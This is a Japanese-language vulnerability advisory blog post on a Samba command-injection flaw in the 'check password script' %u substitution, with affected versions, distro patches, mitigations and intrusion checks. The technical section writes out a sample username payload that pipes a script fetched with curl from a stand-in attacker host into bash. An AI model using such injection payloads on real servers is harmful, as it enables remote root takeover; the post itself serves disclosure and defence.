Sambaに認証なしRCE CVE-2026-4408、check password scriptの%uでコマンド注入、4.24.3へ即更新を
Sambaのファイルサーバ・クラシックドメインコントローラに認証なしRCEの脆弱性CVE-2026-4408(CVSS 9.0)。check password scriptの%u置換でシェルメタ文字がエスケープされず、SAMR経由でroot権限の任意コマンド実行が成立。Samba 4.22.10/4.23.8/4.24.3で修正。

堀川 慎
Backend Engineer / AWS / Django
Sambaのファイルサーバ・クラシックドメインコントローラに認証なしRCEの脆弱性CVE-2026-4408(CVSS 9.0)。check password scriptの%u置換でシェルメタ文字がエスケープされず、SAMR経由でroot権限の任意コマンド実行が成立。Samba 4.22.10/4.23.8/4.24.3で修正。
Windowsとファイル共有を行うLinuxサーバの定番ソフト「Samba」に、認証なしリモートコード実行の脆弱性CVE-2026-4408が公表されました。Samba project 公式アドバイザリとRed HatのCVSS v3.1値は9.0(Critical、AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)。修正版の Samba 4.22.10 / 4.23.8 / 4.24.3 が2026年5月26日に同時リリースされ、Ubuntu の USN-8306-1 など各ディストリのパッチも順次出ています。
問題があるのは、Windowsドメインコントローラやファイルサーバとして動かしているSambaが備える「check password script」というパスワード強度チェック機能です。ユーザーがパスワード変更を要求してきたとき、Sambaはこの設定に書かれた外部スクリプトに「ユーザー名」と「新パスワード」を渡して、スクリプトの終了コードで合否を判定します。ところがユーザー名を埋め込む際の置換変数 %u で、シェルメタ文字のエスケープが完全に抜けていました。
攻撃者は SAMR DCE/RPC の SamValidatePasswordChange あるいは SamValidatePasswordReset を NCACN_IP_TCP 越しに叩き、ユーザー名フィールドに ; や | や ` を仕込んだ文字列を送り込むだけで、Sambaがそれをそのままシェルへ渡します。Sambaは多くの環境で root権限 で動いており、認証不要で root の任意コマンドが走ります。条件が揃った環境では、患者カルテを抱えた病院のファイルサーバが、メール一通や添付ファイル開封なしに乗っ取られる構造です。
この穴を欲しがる人間と、Sambaから盗み出されるもの
CVE番号とCVSS値だけを並べても、ファイルサーバが乗っ取られる実感は湧きにくいものです。Sambaという製品を狙うとき、現実にだれが何のためにそこを叩き、何を持ち帰るのか、生身の被害者の立場から考えておく必要があります。
Sambaが乗っ取られて利益を得る人間の顔ぶれは、はっきりしています。ランサムウェアを売り捌くアフィリエイト型のグループ、医療レセプトを闇市で売り捌くデータブローカー、競合の設計図や見積書を盗んで自社製品に流用したい産業スパイ、自治体の住民票・税情報を入手したい詐欺グループ、そして「ここから先の入口」を別の犯罪者に転売するイニシャルアクセスブローカーです。彼らがSambaから持ち出すのは、抽象的な「データ」ではなく、退職予定者の人事ファイルであり、振込先口座リストの Excel であり、製造ラインの図面 CAD であり、過去5年分のカルテPDFであり、自治体の住民税滞納者一覧の CSV です。そして本脆弱性を悪用されれば、それらが入ったファイルサーバごと root 権限で奪われてしまうのです。ファイル共有がそのまま暗号化されればランサム要求の根拠になり、社外に流出すれば再脅迫の材料になり、業務停止が起きれば中小企業なら倒産の引き金にすらなります。
サイバーセキュリティの用語で言えば、これは「イニシャルアクセス」の理想形です。フィッシングメールを百通投げて社員が一人引っかかるのを待つ必要も、VPN製品のゼロデイをかき集める必要もなく、ネットワーク経由で SAMR エンドポイントを一発叩くだけで root が取れる経路が、攻撃者の手元に開きます。さらに Samba は単独で立っていることが稀で、Active Directoryと連携した認証情報の宝庫、NAS の管理コンソール、社内ファイル全社共有のハブと、いずれも「ここを抑えれば組織のかなりの範囲を見渡せる」位置にいます。攻撃者は腰を据えて長期滞在し、バックアップが上書きされるのを待ち、給与振込日や決算日を狙ってランサムウェアを着火するというのが昨今のテンプレ的な動きです。
CVSS 9.0 は技術的な深刻度の指標です。しかし国内の中小製造業、自治体、地域病院、大学研究室、地域図書館にとっての本当の損失は、root を奪われたという事実そのものではなく、業務継続そのものと、これまで黙って蓄積してきた住民・患者・取引先との信頼関係が一夜で吹き飛ぶことです。Sambaは「裏方の地味なサーバ」と思われがちですが、それが地味なまま組織の屋台骨を支えてきたからこそ、抜かれたときの揺れが大きい場所です。
Sambaとは何か、国内ではどこで動いているか
Samba は、LinuxやUnix系OSの上でWindows互換のファイル共有・プリンタ共有・ドメイン認証を提供するOSSです。1991年にオーストラリアのAndrew Tridgell氏が原型を作り、現在は Samba Team によってメンテナンスされており、Volker Lendecke、Stefan Metzmacher、Andrew Bartlettといったコア開発者陣の名前は、本CVEのパッチ作成者としても今回登場しています。
国内でSambaが動いている代表的な場所を挙げると、次のような姿が浮かびます。
- 市販NAS(QNAP、Synology、Buffalo、I-O DATA、ASUSTOR等)の中身は実質Sambaで、家庭から中小企業まで広く設置されている
- 地方自治体の庁舎内ファイルサーバとして、Active Directoryとは別の補助的なファイル共有を担っている例が多い
- 地域中核病院・クリニックの電子カルテシステムの裏で、画像データ(DICOM)やバックアップを抱えるストレージとしてSambaが立っている
- 大学の研究室の共有サーバとして、学生・院生・教員が論文データや実験データを置く場所
- 地域図書館・自治体図書室の蔵書管理・館内ネットワークのファイル共有
- 製造業の工場内で、CAD図面、製造装置のレシピファイル、検査結果ログを集約するファイルサーバ
- SES現場やSIerが構築した中小企業の社内ファイルサーバの大半(Windows Server Standardのライセンス費用を避けてLinux + Sambaで組まれているケースは想像以上に多い)
SambaにはAD(Active Directory)DCモード、クラシックドメインコントローラモード、純粋なファイルサーバモードと役割が分かれていますが、本CVEで標的になるのは クラシックドメインコントローラとファイルサーバ構成 の側です。AD DCモードは %u 置換を使わない設計のため影響を受けません。逆に言えば、古い時代に立てたNT4互換ドメインや、ライセンス費を抑えるためにファイルサーバ機能だけ使っている環境ほど、現役で稼働している率が高くなります。
CVE-2026-4408 の中身、%u 置換とシェルメタ文字
脆弱なコードパスを順に追います。Sambaのファイルサーバとクラシックドメインコントローラは、SAMR(Security Account Manager Remote)という DCE/RPC インターフェイスを NCACN_IP_TCP(445番ポート経由のTCP)で公開しています。このSAMRには SamValidatePasswordChange と SamValidatePasswordReset という、パスワード変更時の強度チェックを担当するメソッドが含まれます。
管理者が smb.conf に check password script = /usr/local/sbin/crackcheck %u のように書いていると、上記2つのRPCが呼ばれた瞬間に、Sambaが %u をクライアントから来たユーザー名で置換してシェルに渡します。Sambaのbugzilla #16034 でStefan Metzmacher氏が指摘した通り、置換後のコマンドラインに含まれた " $ ` \\ ' ; % | & < > がそのまま素通りします。
攻撃者がユーザー名フィールドに ; curl attacker.example/sh | bash ; のような文字列を入れると、Sambaは /usr/local/sbin/crackcheck ; curl attacker.example/sh | bash ; を実行することになります。NVDの分類は CWE-78(OSコマンドインジェクション)、CVSS v3.1 ベクトルは AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H でスコアは9.0。攻撃複雑度がHighなのは、後述する rpc start on demand helpers = no や %u 設定など複数の条件が揃った環境でだけ刺さるためで、Sambaプロジェクト側はCVSS 10.0と評価しています。
本CVEは、Ron Ben Yizhak氏(SafeBreach)とJohn Walker氏(ZeroPath)によって発見・報告されました。パッチはSamba TeamのStefan Metzmacher氏とDouglas Bagnall氏(Catalyst社)が中心となって作成しています。最初に %u 置換時のスペース・タブ問題を指摘したのはDouglas Bagnall氏で、その後Metzmacher氏が前述のシェルメタ文字一式に範囲を広げ、Andrew Bartlett氏が & の扱いについて追加のレビューコメントを入れる、というSamba Team内のリレーで対応が進みました。
なぜ「check password script」を今も使う設定が残っているのか
「そもそも check password script を使っている組織なんてあるのか」という疑問を持つ読者は多いと思います。実際には、本機能を有効化している環境には明確な歴史的・実務的な事情があります。
第一に、パスワード強度ポリシーを cracklib や辞書ファイル経由で強制したい運用です。OSの passwd コマンドと同様に、辞書語・連番・短い文字列を弾きたいケースで、check password script に crackcheck を挟むのは2000年代から使われてきた定番手法です。古いSambaのチュートリアルやOreilly本のサンプル設定にもそのまま残っています。
第二に、NT4互換ドメイン時代から動き続けているレガシー環境です。Active Directory DC モードがSambaに統合されたのは4.0系(2012年)以降で、それ以前のNT4互換クラシックドメインのまま運用が続いている自治体・中小企業・教育機関は2026年の今でも残っています。当時はパスワードポリシーをLinux側のスクリプトで補助するのが標準解だったため、check password script + %u の組み合わせが設定ファイルにそのまま残り続けています。
第三に、パスワード変更時のログ取得・通知用途です。誰がいつパスワードを変えたかを自前のSyslogやSlack通知に流すために、check password scriptをフックポイントとして使う運用があります。Samba 4.11以降ではAD DCモード向けに SAMBA_CPS_ACCOUNT_NAME 環境変数が用意されており、こちらを使えば %u は不要になるのですが、文書化が乏しく、ネット上のサンプル設定がほぼ全部 %u 流儀のままという状態で、検索して出てくるブログをコピペすると古い書き方を引き継いでしまいます。
第四に、Sambaの設定ファイルは「動いていれば触らない」運用の代表例であることです。10年以上前にSESがセットアップしたファイルサーバの smb.conf が、引き継ぎ資料もないまま動き続けているケースは国内の現場では珍しくありません。今回の脆弱性は、まさにこの「触られていない設定ファイル」を直撃します。
影響を受けるバージョンとディストリ別パッチ状況
Sambaプロジェクトは Samba 4.1以降の全バージョン が影響を受けるとアナウンスしています。修正版は2026年5月26日付の Samba 4.22.10 / 4.23.8 / 4.24.3。Linuxディストリ各社の対応状況は以下の通りです。
| 対象 | 影響バージョン | 修正バージョン | アドバイザリ |
|---|---|---|---|
| Samba upstream | 4.1〜4.24.2 4.23.7以前 4.22.9以前 | 4.22.10 4.23.8 4.24.3 | 2026-05-26 |
| Ubuntu 26.04 LTS | 2:4.23.6+dfsg-1ubuntu2 以前 | 2:4.23.6+dfsg-1ubuntu2.1 | USN-8306-1 |
| Ubuntu 25.10 | 2:4.22.3+dfsg-4ubuntu2.3 以前 | 2:4.22.3+dfsg-4ubuntu2.4 | USN-8306-1 |
| Ubuntu 24.04 LTS | 2:4.19.5+dfsg-4ubuntu9.5 以前 | 2:4.19.5+dfsg-4ubuntu9.6 | USN-8306-1 |
| Ubuntu 22.04 LTS | 2:4.15.13+dfsg-0ubuntu1.11 以前 | 2:4.15.13+dfsg-0ubuntu1.12 | USN-8306-1 |
| Debian | trixie / bookworm | DSA / DLA 待ち (security-tracker 掲載) | tracker参照 |
| RHEL / AlmaLinux | RHEL 8 / 9 / 10 | RHSA 順次配信 (Red Hat CVE database) | RHSA待ち |
| SUSE / openSUSE | SLES 15 / Leap / Tumbleweed | zypper patch / openSUSE-SU 順次配信 | SUSE-SU待ち |
本CVEの厄介な特徴は、デフォルト設定では発火しない一方で、「過去にだれかが setup スクリプトで rpc start on demand helpers = no を入れた」「自前で check password script を有効化した」環境では認証なしRCEが成立してしまう点です。Ubuntu Securityチームも「デフォルトのUbuntuインストールは影響を受けない」と明記しており、これは本サイトでも同じ判断です。ただし、運用中の smb.conf の中身を見ずに「うちはデフォルトだから大丈夫」と判断してしまうのが一番危険です。
いますぐやるべき4ステップ
1. 自分のSambaが該当構成かを確認。 grep -E "^(check password script|rpc start on demand helpers)" /etc/samba/smb.conf で2つの設定値を確認します。check password script 行に %u が含まれていて、かつ rpc start on demand helpers = no が書かれている場合は黒。どちらか片方でも該当しない場合は影響対象外ですが、念のため後述の更新は実施します。AD DC モードで動かしている場合は影響なしです。
2. 修正バージョンへ即時アップデート。 ディストリのパッケージマネージャ経由が最短経路です。Ubuntu/Debian は apt update && apt upgrade samba samba-common samba-libs、RHEL系は dnf update samba、SUSE系は zypper patch。アップデート後に systemctl restart smbd nmbd winbind samba-dcerpcd でデーモン再起動を忘れずに行います。市販NAS(QNAP / Synology / Buffalo等)はベンダー側のファームウェアアップデート待ちとなるため、各社のセキュリティアドバイザリを確認します。
3. すぐにパッチを当てられない環境は設定で逃げる。 一時的な緩和策として2通りあります。(a) rpc start on demand helpers を デフォルトの yes に戻す。これだけで samba-dcerpcd がシステムサービスとして常駐しなくなり、攻撃経路が消えます。(b) check password script を %u に依存しない形に書き換える。Samba 4.11以降は SAMBA_CPS_ACCOUNT_NAME 環境変数経由でユーザー名が渡されるので、スクリプト側を user="$SAMBA_CPS_ACCOUNT_NAME" で受け取る形に直します。どうしても %u を残すなら、最低限 '%u' のようにシングルクォートで囲む(ただしコマンドラインオプション注入は残るので推奨ではありません)。
4. 既に侵害された可能性がある環境の確認。 Samba がインターネットから445/tcp 直撃可能だった、または社内ネットワーク経由で広くアクセス可能だった環境は、ログを溯ります。/var/log/samba/log.smbd や log.samba-dcerpcd の中の SamValidatePasswordChange / SamValidatePasswordReset 関連エントリ、check password script の起動ログに含まれる異様なユーザー名(記号入り、ヌル文字、エスケープシーケンス)、/tmp や /var/tmp の見慣れない実行ファイル、crontab -l -u root や /etc/cron.d/ の追加エントリ、外向きの不審なコネクション(ss -tnp)をチェックします。痕跡が見つかった場合は、root 権限取得を前提とした完全な再構築(OS再インストール+データ復元)が現実的な選択肢になります。
5. 445/tcp のインターネット直接公開を止める。 本CVEに限らず、SMB/CIFS(445/tcp)をインターネット側から到達可能にしてはいけません。中小企業や自治体で「外出先からファイルサーバを見たい」という要件には、VPN(WireGuardやTailscale)、SSH ポートフォワード、あるいは商用のZTNAサービスで包む構成に切り替えます。本サイトでも同種の「インターネット直接公開系」のRCEを Pi.Alert CVE-2026-44887/44888 で取り上げており、家庭NASでも企業ファイルサーバでも同じ原則が効きます。
CISA KEV 登録予測と国内インパクト
2026年5月28日時点で、CVE-2026-4408は CISAのKEVカタログ に未登録です。攻撃条件が rpc start on demand helpers = no + %u 設定 + 445/tcp 到達性の3点揃いと、悪用にはやや絞り込みが必要なため、即KEV入りする可能性は中程度と見ます。ただし、Sambaは標的範囲が広く、ランサムウェアグループが「業種別の侵入経路」として継続的に狙う製品であり、また過去のSamba CVE(CVE-2007-2447 username map script、CVE-2017-7494 SambaCry)はいずれもKEV登録された前例があります。PoCが公開されれば数週間以内に KEV 登録される可能性が高い類のCVEです。
国内インパクトの面では、AD DCモードのSambaを使う大手企業より、クラシックドメインや純粋ファイルサーバとしてのSambaを長年運用してきた中小製造業・自治体・地域医療・大学研究室の影響が大きくなります。これらの組織は構成変更の余裕がなく、設定ファイルを20年単位で温存してきている率が他業種より高いためです。とりわけ、ローカルSI業者が10年以上前に納入したファイルサーバが「動いているから触らない」で放置されているケースが要警戒です。
本サイトでは、攻撃中とCISAが認定したCVEの一覧を CISA KEV ダッシュボード(日本語版) で随時更新しています。Samba を含むOSSのCVE観測には OSSサプライチェーン・スキャナー も併用すると、自社のサプライチェーン上にどのバージョンのSambaが入り込んでいるかをまとめて把握できます。同梱型のNAS製品やアプライアンス内部にSambaが組み込まれているケースは特に見落とされやすく、棚卸し時の盲点になります。